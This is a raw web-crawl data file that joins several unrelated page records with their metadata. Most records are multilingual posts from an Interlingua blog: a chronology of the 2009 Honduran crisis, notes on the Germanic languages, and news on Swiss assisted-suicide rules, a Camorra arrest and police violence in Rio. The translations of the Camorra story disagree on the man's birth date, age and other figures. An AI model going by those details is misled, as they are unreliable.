Secretaria de Estado de los Estados Unidos, Hillary Clinton, en Washington.\nJulio 10: A instancias de los Estados Unidos, se inicia la mediación del presidente de Costa Rica, Oscar Arias, en el conflicto hondureño.\nJulio 15: Zelaya, convoca a los hondureños a levantarse en una \"insurrección\" que facilite su regreso al país.\nJulio 20: La Unión Europea anuncia la suspensión de la ayuda presupuestaria para Honduras por valor de más de US$90 millones.\nJulio 23: Fracasa el diálogo de San José con la mediación del presidente de Costa Rica, Oscar Arias. El gobierno interino dice que la propuesta de que Zelaya regrese al poder es inaceptable.\nRepresentantes de Zelaya describen a Micheletti como intransigente y dicen que no participarán en más negociaciones.\nZelaya intenta entrar a Honduras desde Nicaragua.\nJulio 24: Tras un breve ingreso a Honduras por el puesto fronterizo de Las Manos, Zelaya regresa a Nicaragua.\nJulio 25: Los miembros del Mercosur demandan la restitución de Zelaya a la presidencia durante una reunión cumbre en Paraguay.\nJulio 28: El Departamento de Estado de los Estados Unidos revoca cuatro visas diplomáticas de funcionarios del gobierno interino de Honduras.\nJulio 30: En respuesta a la propuesta del presidente Oscar Arias, Micheletti pide a Zelaya que invíe un representante especial a Honduras \"para cooperar en el inicio de un diálogo en nuestro país\".\nAgosto 12: Zelaya se reúne en Brasilia con el presidente de Brasil, Luiz Inacio Lula da Silva. Piden a Estados Unidos una actitud \"más enérgica\" para evitar que el gobierno interino de Honduras siga en el poder.\nHonduras restablece el toque de queda en Tegucigalpa.\nUna reunión informal se lleva a cabo en Washington entre el Departamento de Estado y una delegación hondureña no oficial.\nAgosto 19: En Washington se celebra una reunión entre el Subsecretario Interino de Asuntos Hemisféricos de los Estados Unidos, Craig Kelly, y una delegación no oficial del gobierno interino del presidente Roberto Micheletti. El Departamento de Estado dijo que el encuentro fue \"privado y no official\", y se realizó en las oficinas de la OEA.\nAgosto 22: Un informe de la Comisión Interamericana de Derechos Humanos (CIDH) dice haber confirmado la existencia en Honduras \"de un patrón de uso desproporcionado de la fuerza pública, detenciones arbitrarias y control de la información dirigido a limitar la participación política de un sector de la ciudadanía\".\nAgosto 24: En respuesta a la propuesta del presidente de Costa Rica, Óscar Arias, la Corte Suprema de Justicia (CSJ) de Honduras se pronuncia en contra de la restitución de Manuel Zelaya.\nAgosto 25: Una delegación de siete cancilleres americanos y el secretario general de la OEA, José Miguel Insulza, llega a Honduras para seguir negociando una salida a la crisis en Honduras. La delegación de la OEA salió de Tegucigalpa el día siguiente con las manos vacías.\nAgosto 31: En Honduras, comienza la campaña para las elecciones generales convocadas para el 29 de noviembre. Varias protestas públicas siguen en Honduras.\nSeptiembre 4: Tras la quinta visita de Zelaya a Washington desde que fuera sacado del poder, la Casa Blanca adopta nuevas sanciones contra el gobierno interino hondureño.\nSeptiembre 8: El Fondo Monetario Internacional bloquea US$163 millones acreditados en la cuenta de Honduras.\nSeptiembre 12: El presidente interino de Honduras, Roberto Micheletti, denuncia formalmente que los Estados Unidos le suspendió su visado.\nSeptiembre 21: Zelaya regresa a Tegucigalpa. Se aloja en la embajada de Brasil. La crisis continúa.\n---\nChronology of the crisis in Honduras\nThe political crisis in Honduras began when Manuel Zelaya was taken out of the country at gunpoint and in his pajamas at end of June. Since then, events in Honduras have grabbed international attention.\nZelaya's opponents say that in reality, the problems began a few months earlier when the president proposed a reform in the country's constitution in order to refound the country.\nFor them, Zelaya was imitating the model used by the president of Venezuela, Hugo Chávez, and several of his allies in the region in order to be reelected as president and remain in power.\nRecent months in Honduras have been agitated, at the very least. Here's a chronology of events in the country since March:\nMarch 24: The president of Honduras, Manuel Zelaya, called a referendum to amend the Constitution. The announcement caused a political crisis. The Honduran Public Ministry said that the president has no authority to convene such a consultation.\nJune 24: The Honduran Congress approved a law regulating referendums and plebiscites that forbids popular consultations 180 days before and after general elections.\nJune 28: Soldiers from the army of Honduras arrested the president, Manuel Zelaya, and deported him to Costa Rica.\nThe head of the Congress of Honduras, Roberto Micheletti, replaced Manuel Zelaya. He denied having reached that position \"under the ignominy of a coup d'état.\"\nThe international community condemns Honduras.\nJune 29: Countries belonging to the Bolivarian Alliance of the Americas (ALBA in its Spanish acronym) decided to withdraw their ambassadors in Tegucigalpa until Zelaya returns to the Presidency.\nJune 30: The General Assembly of the United Nations approved a resolution calling for the \"immediate and unconditional\" return of the deposed President of Honduras.\nJuly 1: The United States suspended joint military activities in Honduras. Earlier, Spain and France recalled their ambassadors for consultations.\nThe Organization of American States gave an ultimatum to the interim government of Honduras for the return of ousted President, Manuel Zelaya. Otherwise the country would be suspended from the organization.\nJuly 2: The European Union countries decided to withdraw their ambassadors from Tegucigalpa. The European Commission also withdrew its diplomatic representative from Honduras.\nThe Honduran Congress ratified a presidential decree that restricts individual freedoms.\nJuly 3: The Supreme Court of Honduras rejects the request of the OAS Secretary General, Jose Miguel Insulza, who traveled to Tegucigalpa so that the ousted President, Manuel Zelaya, could be returned to power.\nJuly 4: The interim government of Honduras announced its intention to withdraw from the OAS.\nThe OAS Secretary General, Jose Miguel Insulza, unsuccessfully ended his visit to Honduras, which was aimed at the restoration of Zelaya to power.\nJuly 5: The OAS suspended Honduras from membership in the organization.\nZelaya tries to return to power for the first time.\nJuly 5: Zelaya tried to land at the Toncontin International Airport in Tegucigalpa. The interim government denied landing permission to the plane carrying Zelaya.\nJuly 7: From Moscow, the U.S. president, Barack Obama, repeated his support for the return to power of deposed Honduran president, Manuel Zelaya.\nZelaya met with U.S. Secretary of State, Hillary Clinton, in Washington.\nJuly 10: At the request of the United States, the mediation of Costa Rica's President, Oscar Arias, on the Honduran conflict made its initial start.\nJuly 15: Zelaya calls on Hondurans to rebel in an \"insurrection\" that would help him return to the country.\nJuly 20: The European Union announced the suspension of budgetary aid to Honduras worth more than $90 million.\nJuly 23: The San José dialogue brokered by the president of Costa Rica, Oscar Arias, ended in failure. The interim government said the proposal that Zelaya return to power is unacceptable.\nRepresentatives of Zelaya describe Micheletti as intransigent and said they would not participate in further negotiations.\nZelaya tries to enter Honduras from Nicaragua.\nJuly 24: After briefly entering Honduras through the Las Manos border post, Zelaya returned to Nicaragua.\nJuly 25: The members of Mercosur demanded Zelaya's restoration to the presidency during a summit meeting in Paraguay.\nJuly 28: The U.S. State Department revoked the diplomatic visas of four officials of the interim government of Honduras.\nJuly 30: In response to the proposal of president Oscar Arias, Micheletti asked Zelaya to send a special representative to Honduras \"to cooperate in the start of a dialogue in our country.\"\nAugust 12: Zelaya met in Brasilia with President Luiz Inácio Lula da Silva. They called on the United States to take \"more energetic action\" to keep the interim government of Honduras from remaining in power.\nHonduras restored the curfew in Tegucigalpa.\nAn informal meeting took place in Washington between the State Department and an unofficial Honduran delegation.\nAugust 19: In Washington a meeting was held between Acting American Assistant Secretary for Western Hemisphere Affairs, Craig Kelly, and an unofficial delegation of the interim government of President Roberto Micheletti. The State Department said the meeting was \"private and unofficial\" and was held at the offices of the OAS.\nAugust 22: A report by the Inter-American Commission on Human Rights (IACHR) was said to have confirmed the existence in Honduras of \"a pattern of disproportionate use of public force, arbitrary detention and control of information aimed at limiting the political participation of a part of the public.\"\nAugust 24: In response to the proposal of the president of Costa Rica, Oscar Arias, The Supreme Court of Honduras stated it is against the return of Manuel Zelaya.\nAugust 25: A delegation of seven American foreign ministers and the Secretary General of the OAS, Jose Miguel Insulza, arrived in Honduras to continue to negotiate a solution to the crisis in Honduras. The OAS delegation left Tegucigalpa the next day empty handed.\nAugust 31: In Honduras, the campaign for general elections scheduled on 29 November was inaugurated. A variety of public protests continued in Honduras.\nSeptember 4: After Zelaya's fifth visit to Washington since being removed from power, the White House levied further sanctions on the interim government of Honduras.\nSeptember 8: The International Monetary Fund blocked $163 million credited to Honduras.\nSeptember 12: The interim president of Honduras, Roberto Micheletti formally complained about the U.S. suspension of his visa.\nSeptember 21: Zelaya returned to Tegucigalpa. He is staying at the Brazilian embassy. The crisis continues.\nPosted by hkyson at 8:35 PM","id":"","dump":"CC-MAIN-2014-41","url":"http:\/\/www.interlinguamultilingue.blogspot.com\/2009_09_01_archive.html","date":"2014-09-20T17:58:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-41\/segments\/1410657133485.50\/warc\/CC-MAIN-20140914011213-00031-ip-10-196-40-205.us-west-1.compute.internal.warc.gz","language":"ina","language_score":0.7364178896,"language_script":"Latn","minhash_cluster_size":49,"top_langs":"{\"ina_Latn_score\": 0.7364178895950317, \"ita_Latn_score\": 0.040506333112716675, \"spa_Latn_score\": 0.04033864289522171, \"eng_Latn_score\": 0.028096884489059448, \"cbk_Latn_score\": 0.017043186351656914, \"srd_Latn_score\": 0.010715886950492859, \"por_Latn_score\": 0.0106548722833395}","num_words":23251,"character_repetition_ratio":0.042,"word_repetition_ratio":0.017,"special_characters_ratio":0.193,"stopwords_ratio":0.024,"flagged_words_ratio":0.0,"lang_id_score":0.771,"perplexity_score":2146.5,"cluster_detection":-1} +{"text":"JAPANGAIJIN | Blog de un español en Japón Blog Japon Peliculas Japonesas Peliculas Chinas Television Japonesa Series Coreanas Doramas Japoneses Guia Japon Fiestas japonesas Cultura Japonesa En Prensa Gatos japoneses Sexo Japon Selecciona categoria Regresar al home Blog Japon Peliculas Japonesas Peliculas Chinas Television Japonesa Series Coreanas Doramas Japoneses Guia Japon Fiestas japonesas Cultura Japonesa Sexo Japon En Prensa Gatos japoneses","id":"","dump":"CC-MAIN-2016-36","url":"http:\/\/www.japangaijin.com\/barbacoa-harumi","date":"2016-08-28T16:35:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-36\/segments\/1471982946797.95\/warc\/CC-MAIN-20160823200906-00140-ip-10-153-172-175.ec2.internal.warc.gz","language":"ina","language_score":0.3872020245,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"ina_Latn_score\": 0.38720202445983887, \"mwl_Latn_score\": 0.32439103722572327, \"spa_Latn_score\": 0.15106329321861267, \"por_Latn_score\": 0.028101861476898193, \"oci_Latn_score\": 0.025965960696339607, \"lfn_Latn_score\": 0.023555859923362732, \"cbk_Latn_score\": 0.020801682025194168}","num_words":105,"character_repetition_ratio":0.095,"word_repetition_ratio":0.5,"special_characters_ratio":0.136,"stopwords_ratio":0.029,"flagged_words_ratio":0.0,"lang_id_score":0.51,"perplexity_score":13557.2,"cluster_detection":-1} +{"text":"|Telephones in Alabama||Telephones in Alaska|\n|Telephones in Alberta||Telephones in Arizona|\n|Telephones in Arkansas||Telephones in British Columbia|\n|Telephones in California||Telephones in Colorado|\n|Telephones in Connecticut||Telephones in Delaware|\n|Telephones in Florida||Telephones in Georgia|\n|Telephones in Hawaii||Telephones in Idaho|\n|Telephones in Illinois||Telephones in Indiana|\n|Telephones in Iowa||Telephones in Kansas|\n|Telephones in Kentucky||Telephones in Louisana|\n|Telephones in Maine||Telephones in Manitoba|\n|Telephones in Maryland\/DC||Telephones in Massachusetts|\n|Telephones in Michigan||Telephones in Minnesota|\n|Telephones in Mississippi||Telephones in Missouri|\n|Telephones in Montana||Telephones in Nebraska|\n|Telephones in Nevada||Telephones in New Brunswick|\n|Telephones in New Hapshire||Telephones in New Jersey|\n|Telephones in New Mexico||Telephones in New York|\n|Telephones in Newfoundland and Labrador||Telephones in North Carolina|\n|Telephones in North Dakota||Telephones in Northwest Territories|\n|Telephones in Nova Scotia||Telephones in Nunavut|\n|Telephones in Ohio||Telephones in Oklahoma|\n|Telephones in Ontario||Telephones in Oregon|\n|Telephones in Pennsylvania||Telephones in Prince Edwards Island|\n|Telephones in Quebec||Telephones in Rhode Island|\n|Telephones in Saskatchewan||Telephones in South Carolina|\n|Telephones in South Dakota||Telephones in Tennessee|\n|Telephones in Texas||Telephones in Utah|\n|Telephones in Vermont||Telephones in Virginia|\n|Telephones in Washington||Telephones in West Virginia|\n|Telephones in Wisconsin||Telephones in Wyoming|\n|Telephones in Yukon|","id":"","dump":"CC-MAIN-2016-50","url":"http:\/\/industrynet.com\/categories\/TE0100\/telephones","date":"2016-12-08T18:39:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-50\/segments\/1480698542648.35\/warc\/CC-MAIN-20161202170902-00135-ip-10-31-129-80.ec2.internal.warc.gz","language":"ina","language_score":0.5721322298,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.5721322298049927, \"lat_Latn_score\": 0.06292534619569778, \"eng_Latn_score\": 0.052101243287324905, \"war_Latn_score\": 0.03728393837809563, \"run_Latn_score\": 0.028623556718230247, \"ncl_Latn_score\": 0.02660498209297657, \"kos_Latn_score\": 0.014944584108889103, \"ncj_Latn_score\": 0.014053785242140293, \"kqn_Latn_score\": 0.013520969077944756, \"azz_Latn_score\": 0.01288307923823595}","num_words":523,"character_repetition_ratio":0.368,"word_repetition_ratio":0.0,"special_characters_ratio":0.186,"stopwords_ratio":0.13,"flagged_words_ratio":0.0,"lang_id_score":0.446,"perplexity_score":6811.2,"cluster_detection":-1} +{"text":"Descargar Musica de Thalia A Quien Le Importa\nResultados :\nEscuchar musica de thalia a quien le importa\nThaliaA Quien Le Importa03:45\nThaliaA Quien Le Importa(cover De Alaska Y Dynarama)03:45\nThaliaA Quien Le Importa03:44\nThaliaA Quien Le Importa03:42\nThaliaA Quien Le Importa 03:45\nThaliaA Quien Le Importa (Hex Hector & Mac Quayle Club Remix)07:15\nThaliaA Quien Le Importa (Club Vocal Mix Hex Hector Mac Qualye Re-Mixes)07:12\nThaliaA Quien Le Importa (минус)03:21","id":"","dump":"CC-MAIN-2016-50","url":"http:\/\/mp3taringa.net\/mp3\/thalia-a-quien-le-importa","date":"2016-12-05T20:53:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-50\/segments\/1480698541839.36\/warc\/CC-MAIN-20161202170901-00047-ip-10-31-129-80.ec2.internal.warc.gz","language":"ina","language_score":0.3625750542,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.36257505416870117, \"vec_Latn_score\": 0.18937285244464874, \"spa_Latn_score\": 0.1493249535560608, \"cbk_Latn_score\": 0.05152356997132301, \"fra_Latn_score\": 0.029238972812891006, \"mwl_Latn_score\": 0.02710636518895626, \"frp_Latn_score\": 0.01947018690407276, \"ita_Latn_score\": 0.01812892220914364, \"eus_Latn_score\": 0.014670561999082565, \"srd_Latn_score\": 0.014130489900708199, \"yua_Latn_score\": 0.01304356474429369}","num_words":126,"character_repetition_ratio":0.309,"word_repetition_ratio":0.179,"special_characters_ratio":0.26,"stopwords_ratio":0.016,"flagged_words_ratio":0.0,"lang_id_score":0.161,"perplexity_score":10932.8,"cluster_detection":-1} +{"text":"Thursday, July 15, 2010\nAlicun commentarios breve sur le branca germanic del familia de linguas indoeuropee\n(Languages of this post: Interlingua, English)\nLe familia Germanic del linguas indoeuropee es dividite in tres brancas: le familia germanic oriental, le familia germanic occidental, e le familia germanic septentrional. Le Gothico es le sol lingua Germanic oriental que ha documentation scribite assatis extensive. Illo se cognosce del Codex Argenteus, un copia facite in le sexte seculo de un traduction del Biblia del quarte seculo.\nLe principal linguas del familia germanic occidental es le anglese, le germano, e le hollandese.\nLe familia germanic septentrional include le islandese, le danese, le svedese, e le norvegese. De iste linguas, le islandese es le plus conservative, e un persona de Islandia pote leger le sagas nordic quasi completemente sin studio special, durante que le daneses, le svedeses, e le norvegianos pote leger iste textos solmente post un certe periodo de studio, lo que anque es ver pro angleses o americanos contemporanee qui vole leger textos in Anglo Saxon e le anglese medieval.\nLe danese, le svedese, e le norvegiano es multo simile. Si omne le Scandinavia europee esseva un sol pais, probabilemente un sol version del scandinavo scribite haberea emergite pro iste tres linguas secundo le patronos de evolution del germano contemporanee.\nDe maniera que vos pote vider como iste linguas es simultaneemente simile e differente, ecce un asseveration in omne le linguas Germanic que io ha mentionate, que io produceva con le adjuta del traductor electronic de Google:\nInterlingua: Le homine que vos describeva vadeva al hotel pro visitar su patre, ma su patre e su fratares jam non habeva arrivate al citate, e assi ille debeva attender tres o quatro horas.\nAnglese: The man that you described went to the hotel to visit his father, but his father and his brothers had not yet arrived in the city, so he had to wait three or four hours.\nGermano: Der Mann, den Sie beschrieben ging ins Hotel, um seinen Vater zu besuchen, aber sein Vater und seine Brüder waren noch nicht in der Stadt angekommen, so musste er drei oder vier Stunden warten.\nHollandese: De man die je beschreef ging naar het hotel om zijn vader te bezoeken, maar zijn vader en zijn broers waren nog niet aangekomen in de stad, dus moest hij drie of vier uur te wachten.\nIslandese: Maðurinn sem þú lýsa fór á hótelið til að heimsækja föður hans, en faðir hans og bræður hans var ekki enn kominn í borgina, svo að hann þurfti að bíða þrír eða fjórir tímar.\nDanese: Manden, du er beskrevet gik til hotellet for at besøge sin far, men hans far og hans brødre havde endnu ikke ankommet til byen, så han var nødt til at vente tre eller fire timer.\nSvedese: Mannen som du beskrev gick till hotellet för att besöka sin far, men hans far och hans bröder hade ännu inte anlänt till staden, så han fick vänta tre eller fyra timmar.\nNorvegiano: Mannen som du beskrev gikk til hotellet for å besøke sin far, men hans far og hans brødre hadde ennå ikke kommet til byen, så han måtte vente tre-fire timer.\n---\nSome Brief Comments on the Germanic branch of the Indo-European Family of Languages\nThe Germanic family of the Indo-European languages is divided into three branches: East Germanic, West Germanic, and North Germanic. Gothic is the only East Germanic language that has fairly extensive documentation. It is known from the Codex Argenteus, a copy made in the sixth century of a fourth-century translation of the Bible.\nThe principal languages of the West Germanic family are English, German and Dutch.\nThe North Germanic languages include Icelandic, Danish, Swedish, and Norwegian. Of these languages, Icelandic is the most conservative, and someone from Iceland can read the Norse Sagas almost completely without any special study, while the Danes, Swedes, and Norwegians can read these texts only after a certain period of study, as is true of contemporary Englishmen or Americans who want to read texts in Anglo Saxon and Middle English.\nDanish, Swedish, and Norwegian are very similar. If all of European Scandinavia were a single country, probably a single version of written Scandinavian would have emerged for these three languages according to the patterns of evolution for contemporary German.\nSo that you can see how these languages are simultaneously similar and different, here is a sentence in all West and North Germanic languages I have mentioned, which I produced with the help of Google's electronic translator:\nEnglish: The man that you described went to the hotel to visit his father, but his father and his brothers had not yet arrived in the city, so he had to wait three or four hours.\nGerman: Der Mann, den Sie beschrieben ging ins Hotel, um seinen Vater zu besuchen, aber sein Vater und seine Brüder waren noch nicht in der Stadt angekommen, so musste er drei oder vier Stunden warten.\nDutch: De man die je beschreef ging naar het hotel om zijn vader te bezoeken, maar zijn vader en zijn broers waren nog niet aangekomen in de stad, dus moest hij drie of vier uur te wachten.\nIcelandic: Maðurinn sem þú lýsa fór á hótelið til að heimsækja föður hans, en faðir hans og bræður hans var ekki enn kominn í borgina, svo að hann þurfti að bíða þrír eða fjórir tímar.\nDanish: Manden, du er beskrevet gik til hotellet for at besøge sin far, men hans far og hans brødre havde endnu ikke ankommet til byen, så han var nødt til at vente tre eller fire timer.\nSwedish: Mannen som du beskrev gick till hotellet för att besöka sin far, men hans far och hans bröder hade ännu inte anlänt till staden, så han fick vänta tre eller fyra timmar.\nNorwegian: Mannen som du beskrev gikk til hotellet for å besøke sin far, men hans far og hans brødre hadde ennå ikke kommet til byen, så han måtte vente tre-fire timer.\nPosted by hkyson at 7:19 PM","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/interlinguamultilingue.blogspot.com\/2010\/07\/alicun-commentarios-breve-sur-le-branca.html","date":"2017-03-23T22:07:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218187225.79\/warc\/CC-MAIN-20170322212947-00011-ip-10-233-31-227.ec2.internal.warc.gz","language":"ina","language_score":0.3061290681,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"ina_Latn_score\": 0.3061290681362152, \"eng_Latn_score\": 0.13025373220443726, \"dan_Latn_score\": 0.07282068580389023, \"swe_Latn_score\": 0.049863845109939575, \"ile_Latn_score\": 0.041049838066101074, \"sco_Latn_score\": 0.022519389167428017, \"nld_Latn_score\": 0.019167762249708176, \"lvs_Latn_score\": 0.017752371728420258, \"hun_Latn_score\": 0.016999438405036926, \"lmo_Latn_score\": 0.015782399103045464, \"nob_Latn_score\": 0.014740416780114174, \"gmh_Latn_score\": 0.013990179635584354, \"slk_Latn_score\": 0.01384037546813488, \"mlt_Latn_score\": 0.013596833683550358, \"ekk_Latn_score\": 0.012379550375044346, \"eus_Latn_score\": 0.01233149878680706, \"slv_Latn_score\": 0.012161104939877987, \"fin_Latn_score\": 0.010107079520821571}","num_words":1696,"character_repetition_ratio":0.055,"word_repetition_ratio":0.501,"special_characters_ratio":0.198,"stopwords_ratio":0.037,"flagged_words_ratio":0.0,"lang_id_score":0.314,"perplexity_score":3864.1,"cluster_detection":-1} +{"text":"Saturday, October 31, 2009\n(Languages of this post: Interlingua, Spanish, English)\nLe autoritates helvetic vole eliminar lo que illes ha appellate le \"tourismo de suicidio\". Le governamento de Switza faceva public le detalios de duo propositiones destinate a restringer le suicidio assistite in le pais.\nIn le ultime annos, decenas de personas, principalmente de Germania e le Regno Unite, ha utilisate le servicios del centro de suicidio assistite suitze Dignitas.\nIste organisation ha recipite forte criticas pro facilitar le morte a personas qui suffre de maladias chronic non terminal e per le rapiditate con le qual illo satisface le desiros de su patientes.\nNunc le autoritates helvetic vole eliminar lo que illes ha appellate le \"tourismo de suicidio\".\nLe prime del propositiones elaborate per le autoritates switze es le prohibition total del suicidio assiste.\nUn secunde proposition limitarea iste practica a personas con maladias terminal, qui deberea presentar documentation de duo medicos independente qui affirma que lor maladia es incurabile e que il es multo probabile que illes morira in unes menses. In plus, tal patientes deberea arrivar a un decision informate de terminar lor vitas in un periodo de tempore determinate.\nIste conditiones eliminarea le practicas de Dignitas, que in le passato ha assistite in le suicidio de personas con maladias chronic e mental e que generalmente adjuva lor patientes a morir in unes pauc horas.\nBen que le codice penal suitze non establi specificamente que le suicidio assistite es legal, le practica de adjuvar un patiente terminal a morir generalmente es considerate un \"acto humanitari\".\n---\nLas autoridades helvéticas quieren acabar con lo que han denominado \"turismo de suicidio\". El gobierno de Suiza hizo públicos los detalles de dos propuestas destinadas a restringir el suicidio asistido en el país.\nEl los últimos años, decenas de personas, principalmente provenientes de Alemania y el Reino Unido, han utilizado los servicios del centro de suicidio asistido suizo Dignitas.\nEsta organización ha recibido fuertes críticas por facilitar la muerte a personas que sufren enfermedades crónicas no terminales y por la rapidez con la que cumple con los deseos de sus pacientes.\nAhora, las autoridades helvéticas quieren acabar con lo que han denominado \"turismo de suicidio\".\nLa primera de las propuestas que han elaborado las autoridades suizas es la prohibición total del suicidio asistido.\nUna segunda propuesta limitaría esta práctica a los enfermos terminales, quienes tendrían que proporcionar la opinión de dos médicos independientes que diagnostiquen que su enfermedad es incurable y que es muy probable que mueran en unos meses. Además, tal pacientes tendrían que tomar una decisión informada de acabar con su vida en un plazo de tiempo determinado.\nEstas condiciones descartarían las prácticas de Dignitas, que en el pasado ha ayudado a morir a personas con enfermedades crónicas y mentales, y a cuyos pacientes extranjeros se les suele ayudar a morir en unas pocas horas.\nAunque el código penal suizo no establece específicamente que el suicidio asistido es legal, la práctica de ayudar a morir a un paciente terminal se suele considerar como un \"acto humanitario\".\n---\nThe Swiss authorities want to end what they called \"suicide tourism.\" The Swiss government made public the details of two proposals to restrict assisted suicide in the country.\nIn recent years, dozens of people, mainly from Germany and the United Kingdom, have used the services of the Swiss assisted-suicide center Dignitas.\nThis organization has been heavily criticized for providing assisted suicide to people suffering from chronic non-terminal illnesses and for the speed with which it complies with the wishes of its patients.\nNow, the Swiss authorities want to end what they refer to as \"suicide tourism\".\nThe first proposal that the Swiss authorities have made is a total ban on assisted suicide.\nA second proposal would restrict this practice to the terminally ill, who would have to get two independent doctors diagnosing their illness to agree that they are incurable and that they are likely to die within months. In addition, such patients would have to make an informed decision to end their lives within a designated period of time.\nThese conditions rule out the practices of Dignitas, which in the past has provided its services to people with chronic and mental illnesses, and and which often helps foreign patients die within a few hours.\nAlthough the Swiss penal code does not state specifically that assisted suicide is legal, the practice of helping a terminally ill patient die is often regarded as a \"humanitarian act.\"\nPosted by hkyson at 11:25 PM\n(Languages of this post: Interlingua, Catalan, Spanish, English)\nLe policia italian ha detenite in Neapolis Salvatore Russo, le chef de un del clanes le plus importante del Camorra.\nCon un etate de 51 annos, Russo essseva cercate per le justitia desde le anno 1995 e se trova inter le trenta fugitivos le plus chassate del pais.\nOn le accusa de associationes mafiose, homicidio, e occultamento de un cadaver, inter altere cosas. Salvatore Russo (nascite a Nola le 17 de junio del 1958) es considerate un del camorristas le plus importante.\nConjunctemente con su frate Pasquale, ille fundava ante unes tenta annos le clan Russo, que ha devenite un del familias mafiose le plus respectate de Neapolis.\n---\nDetenen a Nàpols el cap d'un dels clans més importants de la Camorra.\nLa policia italiana ha detingut a Nàpols Salvatore Russo, el cap d'un dels clans més importants de la Camorra.\nAmb 51 anys, Russo era buscat per la justícia des de l'any 1995, i està entre els trenta fugitius més buscats del país.\nSe l'acusa d'associació mafiosa, homicidi i ocultament de cadàver, entre d'altres. Salvatore Russo (nascut a Nola el 27 de juny del 1958) és considerat un dels camorristes més importants.\nJuntament amb el seu germà Pasquale fa uns trenta anys va fundar el clan Russo de Nola, que s'ha convertit en una de les famílies mafioses més respectades de Nàpols.\n---\nDetienen en Nápoles el jefe de uno de los clanes más importantes de la Camorra.\nLa policía italiana ha detenido en Nápoles Salvatore Russo, el jefe de uno de los clanes más importantes de la Camorra.\nCon una edad de 51 años, Russo era buscado por la justicia desde el año 1995, y está entre los treinta fugitivos más buscados del país.\nSe le acusa de asociación mafiosa, homicidio y ocultamiento de cadáveres, entre otras cosas. Salvatore Russo (nacido en Nola el 27 de junio de 1958) es considerado uno de los camorristas más importantes.\nJunto con su hermano Pasquale, hace unos treinta años fundó el clan Russo de Nola, que se ha convertido en una de las familias mafiosas más respetadas de Nápoles.\n---\nThe capo of one of the most important Camorra clans is arrested in Naples.\nThe Italian police have arrested in Naples the capo of one of the most important Cammora clans.\nRusso, 55, has been at large since 1995 and is one of the most wanted fugitives in the country.\nHe is accused of being affiliated with the Mafia, homicide, and hiding bodies, among other things. Salvatore Russo (born in Nola on June 27, 1958) is considered one of the most important members of the Camorra gang.\nTwenty years ago, together with his brother Pasquale he founded the Nola Russo clan, which has become one of the most respected Mafia families in Naples.\nPosted by hkyson at 10:55 PM\nFriday, October 30, 2009\n(Languages of this post: Interlingua, Portuguese, English)\nLe organisation non-governamental de derectos human Justitia Global ha accusate le policia de Rio de Janeiro de \"criminalisar le povressa\" post le plus recente unda de violentia in illa citate.\n\"Isto non es un situation nove\", diceva Camilla Ribeiro, le coordinator del organisation. \"Illo es un consequentia de un politica implementate in Rio ante multo tempore que criminalisa le povressa e cuje logica es le extermination pro complir le efficientia.\nLe actos de violentia in Rio se intensificava in le ultime dece e septe dies, quando un helicoptero del Policia Militar esseva destruite a fortia de tiros per trafficantes de drogas in le Zona Nord del citate. Post le destruction del helicoptero, plus que 40 personas ha essite occidite, inter illes tres agentes de policia qui se trovava in le helicopotero.\nIn declarationes anterior, le governator de Rio, Sérgio Cabral, reiterava que le principal objectivo del actiones del policia es restaurar le pace in le communitates e recuperar territorios occupate per criminales, qui \"age como coardos\" e \"usa le residentes del area como scutos\".\nLe Justitia Global es un del plus de 20 organisationes non-governmental que condemna le operationes del policia de Rio post le destruction del helicoptero.\n\"Le question del helicoptero monstra que le politica del autoritates es orientate verso le vengiantia\", dice Ribeiro. \"Illo es un vengiantia sin un programma pro resolver le situation--o, en altere parolas, un strategia que recognosce tacitemente que locos public es territorios inimic. Si vos es povre, on vos vide como un criminal, e il non ha un disvinculation inter iste duo conditiones.\"\nSecundo Camilla Ribeiro, le inhabitantes de communitates povre multe vices es tractate como trafficantes. \"E illo, de alicun maniera, legitima le homicidio de ille personas. Le Brasil non ha le pena de morte in le lege, ma illo vermente lo ha in le practica. Pro le population, illo es le mesme horror vetule.\"\nRubem César Fernandes, le director executive del ONG Viva Rio, dice que desde le fin del decada del annos 80, Rio vade trans piccos de violentia in un patrono que se repete, ma que in despecto de illo, le numero de homicidios sta a cader.\nFernandes dice que ille non es de accordo con le accusation que le policia ageva de un maniera \"vengiative\". \"Io crede que le problema es plus complicate e plus serie, que illo es un question politic e social\", ille diceva. \"Quando le policia reageva como illo reageva, illes simplemente ageva contra le faction que destrueva le helicoptero e stava a responder a un action directe del banditos.\"\n---\nA organização não-governamental de direitos humanos Justiça Global acusou a polícia do Rio de Janeiro de \"criminalizar a pobreza\", depois da mais recente onda de violência nessa cidade.\n\"Não é uma situação nova\", disse Camilla Ribeiro, a coordenadora da organização. \"É consequência de uma política que vem sendo implementada no Rio há muito tempo, que criminaliza a pobreza e cuja lógica é o extermínio, a fim de alcançar eficiência.\"\nOs atos de violência no Rio se intensificaram a partir do último dia 17, quando um helicóptero da Polícia Militar foi derrubado por traficantes de drogas na Zona Norte da cidade. Após a destruição do helicóptero, mais de 40 pessoas já foram mortas, entre elas três policiais que estavam no helicóptero.\nEm declarações anteriores, o governador do Rio, Sérgio Cabral, tem reiterado que o principal objetivo das ações policiais é levar a paz às comunidades e recuperar territórios ocupados por criminosos, que \"atuam covardemente\" e \"usam moradores de escudo\".\nA Justiça Global é uma das mais de 20 ONGs que assinam um manifesto que condena as operações policiais no Rio após a queda do helicóptero.\n\"A questão do helicóptero mostra que a política das autoridades está orientada na perspectiva da vingança\", diz Ribeiro. \"É uma vingança sem um programa para resolver a situação--ou, em outras palavras, uma estratégia que reconhece tacitamente que lugares públicos são territories inimigos. Ao ser pobre, você já é entendido como um criminoso, e não há uma desvinculação dessas duas condições.\"\nDe acordo com Camilla Ribeiro, moradores de comunidades pobres muitas vezes são tratados como traficantes. \"E isso, de alguma maneira, legitima que essas pessoas sejam mortas. O Brasil não tem pena de morte na lei, mas acaba tendo na prática. Para a 